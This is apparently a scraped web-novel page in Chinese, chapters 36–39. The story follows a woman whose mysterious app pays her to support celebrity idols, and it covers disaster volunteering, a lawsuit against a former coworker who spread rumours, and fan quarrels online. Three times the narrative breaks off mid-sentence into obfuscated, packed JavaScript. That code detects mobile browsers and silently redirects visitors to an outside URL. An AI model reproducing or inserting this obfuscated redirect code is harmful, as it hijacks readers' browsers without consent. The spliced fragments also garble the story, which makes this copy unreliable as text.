凌钰几乎是瞬间点进了【识人】app主页，发出咨询：“您好，请问这样一直给我布置危及性命的任务，那我赚的那些寿命还有什么用？此外，既然是投资，正常任务发布的金额是不是不该规定究竟用在哪位正主身上？” 36.第 36 章 系统回复得很快：“宿主您好，根据您的提问，系统正在检测中，请您稍等。” 你是该好好检测检测。 终于得以休息的凌钰默默把手机揣回了兜里。 先前，她一直没有在这件事上再为自己争取，是因为系统每次发布的临时任务虽然催命，但金额也格外的高，且又都是在聂嘉远遭遇极大舆论风波的关键节点上，有好几回的动荡甚至因她而起，她自然可以为之好好搏一把。 可现在却有些不同。 一来这种事次数不多时还好解决，要是往后每次都这样，她岂不是天天都跟在钢丝绳上行走毫无区别？ 二来她原本只有一位正主，可现在她却有了两位，而且正主2的正常任务和正主1还有重叠，再想想她之后可能还会有第三位，要是再不把临时任务的不合理尽快修正，不就更是彻底乱了套！ 这怎么行？ 到时她前一秒完成聂嘉远的任务，后一秒又要完成王晨之的任务，再下一秒完成另外某个人的任务，正常任务套着临时任务，再套着特殊任务，那她别的什么都不用干，就天天盯着手机玩套娃好了。 现在系统虽然没有立刻给出回复，但也没有像之前她提出无理要求时直接驳回，而是默默检测去了，就说明一切都有了更改的可能。 所有的不适消失，房车内的温度又变得格外适宜。 也许是因为终于完成了任务，也许是因为即将修正的系统，凌钰终于卸下心中重担，很快被汹涌的睡意侵袭，也不知道什么时候就进入了梦乡，等再次睁开眼，外面的天阴沉沉的，竟有种不知今夕是何夕的错觉。 身边的四个家园还横七竖八地躺着，拿起手机看时，才发现他们竟然已经睡了快两个小时。 【识人】app并没有给她新的回复，倒是孙致容又发了好几条新消息来。 “你居然去H市了！要不是看到你的微博我都不知道，那边情况怎么样？我跟着你们粉丝团也捐了点钱，希望能帮到些忙。” “给你看看这鹅毛大雪，真夸张，看上去和电视上H市的场景有得一拼啊，我和周哥今天都没去上班，感谢领导们的不杀之恩，据说我们隔壁单位还在坚守岗位，哈哈！” “这边现在也都开始封路了，你们要是今天回来估计不好开。” 这三条已经是一个多小时前发来的，再往后几条却是十几分钟前的消息。 “我们这边雪好像又停了，你们那边怎么样了？刚才看到新闻报道说那边伤亡人数又增加了，你看到回个消息。” “你们在的地方应该是安全的吧？” “姐妹！你别又吓我！ 凌钰本来还有些迷迷糊糊的，等看到这最后一条，忙揉了揉眼睛彻底恢复清醒，周围的人还在睡，她只好打字。 “@LY：我没事我没事。” “刚刚睡着了，昨晚坐了一晚的车，上午又一直在帮忙，吃完午饭就睡着了，放心，我们在的这块地方挺安全的，当地政府也不肯让人往危险的地方去，我活得好着呢。” 对面的孙致容几乎秒回语音：“艹！你想吓死我！不拦着你去危险的地方，但是你也得报个平安啥的，我可就你这么一个姐妹！” “吓死我了你，你知道我刚才脑子里都开始想啥了吗！” 凌钰手指翻飞：“知道知道，不就是我高中那会儿的暑假嘛！” “你也知道！！下次再这样别怪我回头揍你！” 凌钰不由自主地勾了勾唇角：“啊呀，好汉不提当年糗，那会儿不是特殊情况嘛？现在你放心，绝对不会，等我回头给你消息设个强提醒，这样哪怕睡着也能回复了，不然你就揍我，我绝对不还手，哈哈！” 孙致容给了她一个大大的白眼。 凌钰不仅没生气，反而嬉皮笑脸地全盘接收了。 也许在很多人看来，孙致容的这种担忧着急和凭空猜测后的恼怒根本就没有必要，但凌钰却很清楚缘由。 那年她们还是高中，两家的父母都很忙，几乎都没时间管孩子。 天气如往常一样热得叫人喘不过气，凌钰一觉睡到中午，却一点儿想要起床的心情都没有——她从小跟着爷爷奶奶长大，可那年两位老人相继离开，而她的父母却依旧没空。 没空归家，没空理她，哪怕后来的确抽空办了场盛大的葬礼，也很快再次忙于工作，将她一个人扔在乡下。 凌钰虽然很不服很不甘，也很伤心难过，却也知道人死不能复生，父母并没有做错什么。她其实根本没有任何极端的想法，可那天她就是这么偷了个懒没肯起床，又在混乱间重新睡了过去，就差点丢了命。 要不是孙致容来敲门发现里面没动静，要不是她报警砸了门，凌钰大概在高中那年就已经成了全村第一个因为睡懒觉而硬生生把自己饿死在家的学生。 之后的每一天，孙致容几乎都在给她送菜送饭，再往后，干脆将她接到了自己家。凌钰的高中就这样在和孙致容形影不离的相处中过去，考了相同的大学，到了同样的城市。 很长一段时间里，这人都在她耳边絮叨。 “就算你不高兴要抗议，那也不能拿自己的身体开玩笑啊——身体是革命的本钱，人的生命只有一次——我请你每天把这两句话无限复读牢记于心。” “别一天到晚地不把自己当回事，你爸妈他们忙，我爸妈他们也忙，你看我俩其实是差不多的，我就每天看得很开啊，人不吃饭怎么行？你放心，你不会做饭我会，我天天做，保你活得好好的。” “不用想，不用怕，他们连钱都忘了留给你对不对？问题不大，姐有钱，姐养你！你只管想好每天要吃什么就行。” …… 默默打开微信，将对方的消息设置了强提醒，凌钰才缓缓坐直了身子。 车窗外的雪下得很大。 不远处，能看到众人忙碌的身影。 很快，刚才还睡得七倒八歪的四个人也缓缓睁开了眼：“几点了？感觉我都睡迷糊了，外面这个雪好大啊，怎么到现在还在下？得出去帮忙铲雪，不然这边也要被雪给盖住了。” “走吧，我感觉我这会儿有使不完的劲儿。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114566|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我的天，都三点了！这么晚了吗？” 凌钰这才将有些发麻的腿缓缓伸直，重新穿上厚厚的羽绒服：“走吧！干活！” 先前来时，整片广场的积雪并没有现在多，他们还能自由行走，可现在随着漫天的雪越下越大，凌钰一脚踩下去就是一个深坑，原先忙着发放物资的志愿者们也开始重新拿上了铁锹铲雪，撒盐。 几个人很快融入其中，忙得热火朝天。 而随着伤亡人数的增加，原先还冒出一点热度的聂嘉远和王晨之也很快又被刷到了榜单末尾，下午四点，二十站粉丝联合公告再次发出了新的内容，大批资金和物资被运往灾区。 大家倒也拎得清，知道孰轻孰重，前一秒还在吐槽，后一秒就又转发评论。 【虽然但是，矛盾什么的还是先摆摆，先把该做的做了。】 【内娱可能会完，但内娱的粉丝绝对完不了。别的不说，要论做公益这块还得是咱们这些追星的。】 【乖乖，你们看到没，赵恒又加码捐了五百万，牛啊！不过娱乐圈的208也有钱，要我说再多捐五百万应该也不是什么问题，还是说他单纯就是不想输给聂嘉远？聂嘉远不是捐了一千万吗？哈哈哈！】 【引战的滚好吗，我们两家现在可不会真的吵架！别有用心的可以撤退了。】 H市的大雪一直下到半夜才终于有了停的迹象。 情况特殊，条件也难免艰苦，晚上虽然没再吃泡面，但也没什么更新鲜的东西吃，几个人合了两份自热米饭，又吃了点面包就算得以果腹。想到还有人现在连热饭热面都吃不上，甚至生死未卜，大家并没有怨言，反倒多添了些担忧。 当地准备了两间板房给他们过夜，不过地方太小人太多，王晨之最后还是把房车让给了她们几个女生，拉着聂嘉远和另外两个男粉走了。 躺在软椅上，看着雪白的车顶，凌钰思绪有些放空。 正要闭上双眼，手机却连续震动起来。 【识人】app隔了许久，终于弹出了最新消息。 “宿主您好，根据您的诉求，系统已做出以下调整——” “除正常任务外，临时任务和特殊任务将不再危及您的生命，但也不再附赠寿命，如您的临时任务及特殊任务无法在倒计时结束前完成，将按照当前所发布任务金额的1:1比例扣除您已拥有的金额。” “如您扣款账户中余额不足，则视为欠款，逾期不还将纳入征信系统。” “此外，不同正主的正常任务仅首次规定被使用人员，后续任务金额将由宿主自行决定。不同正主的临时任务因涉及具体事件，仍将规定被使用人员。特殊任务不规定被使用人员。请宿主谨慎辨别，慧眼识人，祝您生活愉快！” 凌钰砸了砸嘴，不服气地回复：“临时任务也不规定具体人员就不行吗？” 这次对面回复地极快：“对不起，该诉求已驳回。” “……”凌钰简直闹脾气地发送，“要不你现在就灭了我！” 对面再次秒回：“对不起，该诉求已驳回。” 37.第 37 章 行吧，你说啥是啥。 凌钰关闭手机屏幕，心中虽然仍有些不满，但细细想来，这次系统也算是对一些不合理的要求做出了优化，至少和最开始相比已经有了很大的改观。 既然目前只能争取到这些，她随遇而安得很，没再强求。 次日清晨，H市连下了几天的大雪终于彻底停了。 到上午九点左右，最先支援的几批志愿者开始分批撤离，凌钰他们拖了又拖，一直帮忙到下午三点，还是登上了返程的车——没办法，请来帮忙的司机师傅还有别的事，必须得走了。 倒是聂嘉远和王晨之留了下来，他俩一个剧组还没开工，一个糊得暂时没工作，索性继续充当免费劳力，总之凌钰回到T市后又过了两天，才看到路透说他们离开了。 大雪过后，日子变得比以往平淡和缓，为了支持灾后重建，娱乐圈数百名艺人又联合组织了一次捐款，众志成城，经历了大灾之后的网络也安静了许多。 进入十二月，时间像是开启了加速度，眨眼就到了年末。 凌钰在小区楼下的运动场锻炼完，先冲了把热水澡，才在沙发上坐下打开手机。 之前联系的律师事务所发来了新的消息，除了一些需要确认的文件，剩下的就是两张表格，一张表上是已经处理完毕的案子，另一张上则都是即将起诉的人。这其中有个熟悉的名字，正是她从前同事中的一员。 最初在微博爆料她信息的那个账号还是被查出了主体：曾言。一个意料之外又情理之中的名字。 比起陈桦和张小洁与她之间的针锋相对，和许君那身为主管领导高高在上的轻视，曾言在凌钰的前同事里其实并没有很大的存在感。 她的工作能力一般，为人处事一般，没什么特别要好的朋友，也没什么特别敌对的人，话不多不少，工资不高不低，就连家庭条件也不好不坏。而要说她这个人，其实也不坏，甚至还有些很矛盾的心软。 如果非要形容，凌钰觉得她就是那种生活中最最普通的普通人。 可就是这样一个普通人，在看到她参加活动的视频后，不知道出于什么心态在网上爆料造谣抹黑，甚至被起诉之后也没有收敛，还继续发了好几条冷嘲热讽指桑骂槐的微博。 凌钰默默地将眼前的文字划走，又往下直至看到最后一条才编辑道：“好的，没有问题，您那边看什么时候需要我出面，提前跟我说一声就好。” 对面回复得很快：“不出意外的话应该不需要您亲自到场的，到时我们这边会给您提供文件，您负责签字就好。” 凌钰发了个表情包：“[OK]” 这大概就是有钱的好处了，明明有这么多的案子，却大多可以委托律师去办。感觉虽然略显神奇，但转念再想，就好像那些明星起诉黑子一样，也没见谁一天到晚亲自往法院跑的。 她这边起诉的事有了新进展，聂嘉远工作室那边也发了最新公告。 之前造谣生事的好几位赵恒大粉都被要求置顶道歉，其中有一位因为行事太过夸张，大概还要短时间的蹲一蹲局子。 但网络舆论这种东西，向来是造谣的时候沸沸扬扬，辟谣的时候无人问津，哪怕这结果已经非常严重，这些动静也如石沉大海，虽有不少家园帮忙转发助力，依旧没有激起太大的浪花。 只有恒星粉圈内部小范围吐槽。 【还真的告了，至于吗？】 【粉圈撕逼，结果正主亲自下场，内娱真的有点搞笑的，当了明星还不让人说，拿那么多钱不就是让人讨论的吗？堵嘴算什么本事？好话听得倒高兴，坏话说一点就起诉，这种人凭什么站在聚光灯下？】 【支援灾区的事我敬他是条汉子，可这件事上我肯定一生黑，尤其咱家这里面有个被判刑的大粉还是未成年，某人是疯了吗？就这样毁了人一辈子！】 也有路人吃瓜偶尔嘲讽两句。 【胡说八道侵犯隐私害得人有家不能回的时候怎么不害怕？现在知道自己是未成年了，害怕了，还怪别人疯，你们自己爆料人手机号码住房地址的时候不疯吗？某些恒星还是学点法吧！】 【所以说，网络不是法外之地，人早晚会为自己做的事付出代价的。】 【上面某一条，不可否认这次雪灾时赵恒粉也做了很多事，可加害者疯魔，受害者不过自保，这种胡乱攻击别人的行为才该一生黑吧。】 争论虽然有，但也并不多，至少这些就连热门话题都没上，更别提热搜榜了，如今的网友们更多讨论的还是即将到来的元旦，以及不少平台准备举办的跨年晚会和颁奖典礼。 今年聂嘉远的《凤凰记》最终数据不错，估计会拿个小小的奖项。 至于王晨之嘛，作品太少知名度太低，他们那个组合更是糊到不行，最好的露脸机会不过看能不能混到某个平台的串场表演，甚至可能连这种机会也没有。 【识人】app自从上次优化之后就安静下来，凌钰连同之前的任务，一共收获了32天的附加寿命，反正活到元旦之后不是问题，且因为聂嘉远又回了剧组，好多天都不营业，王晨之更是没个动静，她连临时任务都没了。 凌钰分别在两人的超话签到完毕，又随意浏览了一会儿新闻，才关了微博。 看着银行账户上的千万现金，之前被临时搁置的买房计划再次被提上了日程。原本按照她的想法是先买两间毛胚慢慢装修，后续如果看到好的房子，可以再换到市中心去。 但在现在这个小区住的越久，凌钰就越感觉到一种难得的慢生活的舒适。 城区寸土寸金，想要有这样环境优美，楼间距大，绿化也多的小区几乎没可能——或者也有，却肯定是现在的她买不起的。而这边价格合适，又很安静，下楼就有很大一片运动场，空气清新，就连阳光也格外充足。 凌钰着重看了看同小区里有没有二手房出售，倒还真让她又找到几间，其中有一家和她现在住的这种房型类似，就在她对面的楼栋，装修风格稍微复杂高端一点，报价也比她之前买时贵一百万。 不过楼层好，阳光也不错。 给房产中介发了个消息去问，她丢开手机，准备自己做顿晚饭。 抓了一小把的木耳先泡着，留着凉拌，再把土豆切块和中午已经炖好的牛肉一块儿红烧，最后炒一点青菜，她一个人就差不多够吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128026|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正将手中的酱油倒进锅里，沙发的手机忽然疯狂震动起来。 凌钰连忙擦了手去看，是个陌生号码。 她第一反应就是什么诈骗或者骚扰电话，随手挂断，又把锅里的菜重新调了调味道，正盖上锅盖，手机又震动起来。 还是那个号码。 谁啊？ 仔细看去，倒确实没有诈骗或骚扰的标注，也许是刚才她联系的那个房产中介？凌钰有点不记得自己之前买房的时候是不是给过对方手机号了。 按下接听，才刚“喂”了一声，对面却似乎有些慌乱，竟然挂断了。 什么意思？ 凌钰愣了片刻，有病？她撇了下嘴，把手机踹回兜里，又拿起一旁的木耳准备煮一煮之后凉拌。 然而这一回，才刚把菜洗完，手机就又震动起来。 没完没了了！凌钰有些烦躁地接起电话，没再客气：“不管你是谁，想要干什么，如果再这样打了挂挂了打，我马上就把这个号拉黑。” 这一次，对面沉默了两秒，终于开了口：“是我，曾言。” 曾言？凌钰在最初的惊讶过后，忽然想笑，她也真的笑出了声：“有事？” 其实虽是同事，这几年她在公司时和曾言的交流却并不算多，真正的交流反倒在她最初入职的时候。 那时曾言帮过她一回，她初来乍到人生地不熟，又因为这样那样的原因遭人排挤，唯有曾言愿意和她多说了几句话，告诉她公司食堂的位置，甚至还请她吃了第一顿饭。 如果没有发生网上爆料的突发情况，又在之后闹得那么大，凌钰觉得在此之前，自己跟这个人之间甚至可以说是有一些恩情在的。 也因为这最初的恩情，凌钰在后来的工作中没少帮过她。但之后随着时间流逝，曾言渐渐又远离了她，很奇怪，但这就是事实。 电话那头的曾言似乎也有些难以启齿，但片刻后还是开了口：“都是同事一场，看在我以前曾经帮过你的份儿上，就不能撤销起诉吗？你应该知道，我儿子马上都快上大学了，以后他也许还要考公……” 她还要再说，凌钰打断了她的话：“你早干嘛了？” “什么？” “我说你早干嘛了？”凌钰笑了一声，“是，你是曾经帮过我，可我后来没帮过你吗？你每次材料交不出来，是谁加班帮你做的？你电脑用的不利索，是谁不厌其烦教的你？” “后来不过一次，你又想让我帮忙弄材料，我跟你说我自己的也没做好，暂时没时间，让你可以的话自己先做个大纲。从那之后你就没再理过我。” “你帮过我，我很感激，所以我也无数次地帮你，但我们其实早就已经两清了，从你用我给你做的材料拿了奖金之后。毕竟你自己其实也清楚，一次恩情不是可以得到无穷无尽永远的回报的，只是你挟恩图报，而我愿意报恩。” “你在网上爆料编造假消息的时候，没想过后果吗？” 凌钰终于一吐为快：“我给过你机会，在没有真正起诉之前，可你干了什么？你让我的房东提前把我赶走啊姐姐！” “现在才来求情，晚了吧？” 38.第 38 章 曾言半天没有说话，可听到这一句时却再也忍不住叫嚷起来。 “如果不是你非要起诉我，我怎么可能会做那种事！我不过是想着给你找点事做做，这样你可能就没那个工夫来对付我了，可你都被赶出家门了，居然还坚持要起诉！” “我们究竟有多大的仇，你为什么非要跟我过不去？” “我只是想不明白！你本来就是个乡下长大的土包子，没钱没背景，凭什么突然就飞黄腾达了，我只是怀疑！这有错吗？你要是真有本事，当初会需要我帮你？你会连一顿午饭的钱都没有？亏我当初看你可怜！” 曾言越说越觉得怒火中烧，最后连声音都变了。 “那些后来被炒作起来的谣言不是我做的，你凭什么起诉我？而且你敢说你真的没干什么见不得人的事吗？什么识人公司的股东，你家根本没钱，哪来的资金做股东？” 这话说得倒也有几分道理。 凌钰在心里点头，至少她见不得人的事还是干了的，毕竟【识人】app就不大能见人。 但吵架嘛，哪能把弱点送到对方手里。既然一切的源头都只在于她穷，那有几句憋在心头很久的话，她也许可以选择破天荒地说出口。 “曾言，”她顿了顿，“谁告诉你我家没钱了？我没钱，不代表我家也没有啊。” 曾言明显愣住：“什么意思？” 凌钰又笑起来：“就是你想的那个意思，我是不是忘了告诉你，我爸妈其实很有钱的啊，只是我从来没要过他们的钱，所以我穷。” “不过这些跟你们又有什么关系呢？少关注别人的生活吧，多管管自己。对了，帮我也带个话给陈桦和张小洁，以后都少造谣，也别再打电话过来，否则我不仅告你们诽谤，还会告你们骚扰。” 挂断电话，凌钰这才歪了歪脑袋。 看来是法院的文件已经送到，对方知道自己即将面临什么，这才怂了。可现在怂了又有什么用？世界上又不是所有事都可以得到原谅的。 而有的人，你不让她感受到切肤之痛，她也不仅不会收敛，还会变本加厉。 吃完晚饭，把碗筷放进洗碗机，凌钰重新窝在沙发里的时候忍不住想，难怪人说由俭入奢易，由奢入俭难。 她当初一直没钱，穷惯了也没觉得苦。 穿着廉价的衣服，吃着普通的饭菜，住着四面漏风的鸽子笼，通勤全靠双脚，永远匆忙而狼狈，这些好像都成了理所应当。 父母不联系她，她为着一点莫名的傲气和被无情忽视后生出的倔强就也从不主动去联系他们，自主、独立，靠自己的工资勤俭节约地活着。自力更生当然很好，但一朝体会到真正有钱之后的生活她觉得，还是有钱更好。 她从前还是太装了。 人有时候甚至不能共情一年前的自己。 外面很冷，开了地暖之后整个室内却舒适宜人，不远处的加湿器徐徐冒出袅袅雾气，凌钰因为曾言那通电话而产生的最后一点烦躁也没了。 微信里，之前联系的房产中介回了消息来，说明天下午就可以看房。 大概算了一下账，凌钰把剩下的钱先分了两半，一半留着准备买房，另一半则先存着。原来没钱，当然是温饱最重要，而现在闲钱有了，也暂时没有什么别的东西要买，她就又动了点其他心思。 之前的工作她是不打算再做了，苦累不说，赚得还少，也难免会和从前的人产生交集。 既然【识人】给她的任务是追星，凌钰觉得，她或许可以在娱乐圈搞点项目。 打开网站搜索查阅相关资料，可惜这些东西，网上能查到的实在有限，想到聂嘉远毕竟是个演员，那她其实还可以买点IP用来改编——但这些都只能算是初步想法，最终究竟能不能执行，钱够不够，还需要再细看。 心里有了主意，想法暂时搁置，凌钰退出网页重新点进了微博。 这段时间的娱乐圈确实没什么特别的新闻，不过就在刚刚，《凤凰记》的播出平台官宣了年终盛典的名单，虽然按照姓名首字母排列，聂嘉远的名字几乎已经到了中后排，但#聂嘉远年终盛典#的词条还是冲上了热搜。 而很快，《龙吟》的播出平台也官宣了花香之夜的名单，#赵恒花香之夜#的词条同样冲上了热搜。 自雪灾过后，这两人的名字已经很久不同框了，现在突然同时上榜，粉丝们一边卯足了劲搞宣传发物料铺广场，一边也难免有些担心对家作妖，密切关注着对家大粉的动态。 但也许是前段时间的清朗行动卓有成效，又也许是挑事的几个大粉都吃了官司所以无人敢轻举妄动，就连花香娱乐也特意减少了营销，总之几个小时过去，一切都仍旧风平浪静。 倒是吃瓜路人们很好奇。 【这两家真没事了？好像没动静嘛。】 【剧都播完了，最近又没什么可对打的，而且年底的晚会都不在一个平台，能吵什么？当时H市出事的时候两边不还挺团结的吗，对家也不代表就要一直吵架吧。】 【这样一看，这两位还真有点腥风血雨体质，难怪会异军突起。不过不知道为什么，我总感觉现在这是暴风雨前的宁静，毕竟微博的晚会还没官宣，那个肯定是要同台的。】 这边连路人都已经笃定了聂嘉远会参加另一台晚会，那边可怜的王晨之到现在还查无此人。 凌钰不得不感慨起爱豆的生存环境，手指正无意识地上滑，视线却忽然停滞。 十五分钟之前，一条营销号的微博上了热门话题。 【@娱乐圈瓜姐：王晨之前段时间收获氪金粉，沾沾自喜以为能咸鱼翻身，谁知聂嘉远是稳了，两个平台官宣嘉宾却都没有他，而某位著名氪金粉到现在只为他花过一次钱，他却和聂嘉远一起送粉丝上了热搜，这是什么水平？】 这种微博，一眼看了就知道是引战贴，点进去时家园果然已经占据前排控评。 【都很好，都是朋友，你管这么多怎么不先管管自己？管天管地还管别人的钱怎么花？你这么关注人家平台官宣的嘉宾，你去当平台老总好了。来看聂嘉远美图@娱乐圈瓜姐】 【不知道，不清楚，不关注，欢迎大家预约聂嘉远新剧武侠探案大戏《清风何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132627|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在》，记得收看年终盛典@娱乐圈瓜姐】 凌钰又往下看，果然看到了小橙子的留言。 【胡说八道什么呢？人类进化的时候是忘记有你了吗？小脑发育不完全大脑完全不发育的玩意，我家小王什么咖位我们自己有数好吧，登月碰瓷你敢我们可不敢，一边去一边去。】 【你是吃错药了吗在这里大放厥词胡言乱语，人家是演员，在平台都已经有效播剧了，我家是爱豆，能请更好不请也正常。要你说要你说！】 【小王在家抠脚已经够惨了，还要被你拿来引战，滚，给我滚！！】 【事先声明啊，这种营销号肯定跟我们没关系，要不就是公司发癫，要不就是营销号要KPI，你们就乱发吧，小王勇敢飞，有锅自己背。粉丝啥都不知道的啊，出事了我们第一个跑。】 【你们可真勇，头可真铁，啥都敢说。小王顶住，粉丝先撤！】 因为两家的态度实在明确，这条微博虽然进了热门，但也并没有真的吵起来。 又刷新了一下页面，消息更替，很快连这条也看不见了。 可以。 天色渐晚，凌钰抱着手机默默将阵地从沙发转移到床上，先照例四面八方拜了拜，躺在厚厚的羽绒被下后，才舒服地喟叹着在一天的最后分别给两位正主的微博发了“慎重提醒”的私信。 应该是很安心很平常的一觉，然而梦中的凌钰却像被千百条恶心的虫子给团团围住，明明已经奋力逃脱，手脚却就是使不上力。 转过头，那些细长的虫子无限放大，瞬间到了她跟前！ 究竟是什么东西！ 凌钰被吓得浑身一个激灵，猛地睁开双眼，哪来什么虫子？天已经大亮，她昨天睡觉时忘了拉窗帘，现在冬日的暖阳穿过透明的玻璃照在人身上，舒服又惬意，好端端的…… 已经是上午九点，凌钰刚准备打开微博，屏幕的正中间，安静了十几天的【识人】app忽然疯狂闪动，接着无数条提示跳了出来。 最新任务：本次解锁资金100000元（仅适用于正主2），请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后1:1扣除所拥有资金。 现在这个点根本不是正常任务的时间，只有临时任务才会规定适用人。 正主2，十万块。 凌钰连忙打开微博去看，王晨之怎么了？ 热搜榜上，王晨之的名字赫然在列，话题是#王晨之付一#，点进话题大概看了一眼，凌钰也是真没想到，他们那个团都糊成那样了，队友之间居然互相还是对家。 【真的笑死，王晨之天天去捧臭脚，结果人家根本不带他玩，我家付一真的是倒了八辈子霉跟他一个团，天天除了在外面败坏团的名声，他还能干嘛？】 【为什么会有这样不要脸的人做爱豆啊？把私联说成媚粉，跟粉丝不清不楚，还要天天装作一副清纯男大的样子，我真服了。】 【哟，这是谁啊？是背后嘴队友，表面装纯情的那位小王吗？】 39.第 39 章 既然有缘做了她的第二位正主，这段时间闲来无事，凌钰还是仔细了解了一下王晨之的情况的。 作为SO公司推出的最新男团，some组合的王晨之和另外三名队友都是通过公司内部选秀出道。 这家公司主推爱豆，拥有数量非常庞大的练习生，之前他们和海外合作，倒也出过好几个榜上有名的团体，因此基本盘不小。 然而随着时间推移，SO公司翅膀渐硬，觉得完全没必要再让别人分一杯羹。 两年前，他们一脚踹开了原先的合作公司，拍脑门子决定直接独闯内娱，结果在最初一代团体的鼎盛之后，慢慢发现内地偶像市场的惨淡，连续推了几个团都毫无水花，生意特别难做，和他们想象中完全不同。 可惜到了这时候，想要回头已经来不及，如今的SO公司几乎算是前人赚钱后人花，虽然还在不服输地努力着推出新团体，却给人一种莫名的心酸感。 但你要说这帮人完全没粉丝，那也不对，可他们就是跳不出既定的圈子。 连最能吸粉的选秀都只是公司内部举办，少了更多的竞争曝光和凸显才艺的机会，受众群体更是极其固定。看似办得热热闹闹，其实压根无人在意，因此some组合可谓出道及巅峰—— 出道当天上了两个热搜，之后就一直在走下坡路。 王晨之算是这其中混得还不错的。 因为他性格外向，人也活泼，又会抛梗接梗颇有些幽默感，SO公司对他还算重视，安排着上了不少综艺。 至于其他三位，有两位出道后活动了小半年，剩下的时间都在家无所事事，现在已经彻底查无此人，而付一则另辟蹊径混去了影视圈，忙于做各大电视剧里的镶边男配。 按照凌钰了解到的情况，刚出道那会儿，王晨之和付一的关系算是团里最好的。当时他们公司做团综，两人还炒过CP。 大概也正是炒过CP，粉丝间才更加看不上眼。 话题广场上，双方的战争已经开始升级。 【某些负分是脑子出问题了，专注自家这几个字就是看不懂是吧？难怪叫负分，考试恐怕也是负分，智商也是负分吧？王晨之怎么样跟你们有半毛钱关系吗？一天到晚王晨之王晨之，王晨之是你爹啊怎么的？】 【付一不捧臭脚，付一高贵，前两天低头哈腰凑到人家女主面前的不是付一。】 【负分究竟在嘲什么啊？王晨之没被邀请，你家付一不也没被邀请吗？大家都是一个团的，都是一样的糊，怎么的，你演了几部小配角还演出优越感来了？】 【你们是橙子烂了变橙汁了吧？谁跟你们一样糊？付一没被邀请是因为什么？还不是因为你家主子拖后腿？综艺咖也配碰瓷演员，什么玩意？要不是王晨之天天在外面做综艺被人当猴耍，some一个男团，至于变成现在这样吗？】 【王晨之跪舔顶流粉丝也没舔来一个机会，反被群嘲，要不是有这种上不得台面的队友，some至于发展成现在这样？付一辛辛苦苦老老实实做演员招谁惹谁了，一天到晚被连累！】 【我的妈呀！付一也配被称为演员了？现在演员门槛这么低了吗？】 【付一要是真牛逼，就以个人身份去参加活动啊。他不是演员吗？演的剧在哪个平台播，他以演员身份参加好啦，怎么没人请啊？哦，原来是不配哈哈哈哈！】 凌钰大概看了一下，比起之前聂嘉远和赵恒粉丝的骂战，王晨之和付一粉丝的嘴仗打得其实没什么水平，主要还是因为内容很不丰富，比的也不是谁红，而是谁更糊。不知道为什么，不仅感受不到杀气，甚至还有点可笑。 这两人但凡稍微红一点，粉丝都得拉出实绩图来说话，而不是车轱辘似的在这浪费口水。 但现在显然不是追究谁对谁错的时候，凌钰之前翻看过王晨之的代言，除了首次确认正主时买过的小面包，就只剩一款泡面、一款中老年奶粉和一个小型家电品牌。 商务实在是差，不过也不是没有。 尤其那个小型家电凌钰以前还用过，性价比高，质量也不错，里面有些东西很便宜，但也有稍微贵一些的，刚好可以方便她把这突如其来的十万块用掉。 点开官方旗舰店，按照价格从高到低排序，能看到最贵的是一款净水器，标价四千多，再往下则是意式咖啡机和小型洗衣机，都在三千五百块左右，凌钰差不多凑了凑，买了一共26台不同的电器，这才进入超话发帖。 【@我来追星了：#王晨之#wcz#王晨之付一# 突如其来的我来了，谣言不实，得亲自打破。小小粉丝，做不了平台的主，少往我身上砸锅。买了点小型家用电器抽奖送小橙子，家人们不要看错了哦，条件跟之前一样，三十分钟之后开奖。@王晨之】 她这个号如今也是练出来了，粉丝很多。消息才刚一出发，就收到了无数条转发评论和点赞。 凌钰大概扫了一眼，小橙子们欢呼雀跃，也有人发出爆哭。 【坚强都是给外人看的，其实每次王晨之被人骂我们都很伤心，好不容易有了个这么牛的氪金粉，我也不敢再奢求什么，但是真害怕追星姐只是一时兴起啊！】 【是追星姐来了，我们有救了！】 【呜呜呜真好，终于有一天，王晨之回过头，也能看到身后有人了。】 【不多说了，我也去买点东西支持一下。真的被气到了，莫名其妙突然就来嘲讽开大，我们家招谁惹谁了？】 消息太多，凌钰只能约莫看了。 正要继续往下翻，下一秒，手机里却忽然跳出一条微信来。 联系人是【汁橙王】，谁啊？ 读起来很熟悉，凌钰微微一愣，片刻后才想起来。她之前加了王晨之的微信，但并没有改备注，当时这人的微信名叫【橙子王】，没想到过了十几天没联系，就又改了个昵称。 “汁橙王：姐姐好啊！你怎么突然给我花这么多钱啊？我刚看到你发的微博了，给我吓一跳，其实没必要这样的，虽然我混得是不怎么样，但公司该给我的钱都给了，而且我自己本来家里条件也还行，不差钱的。” 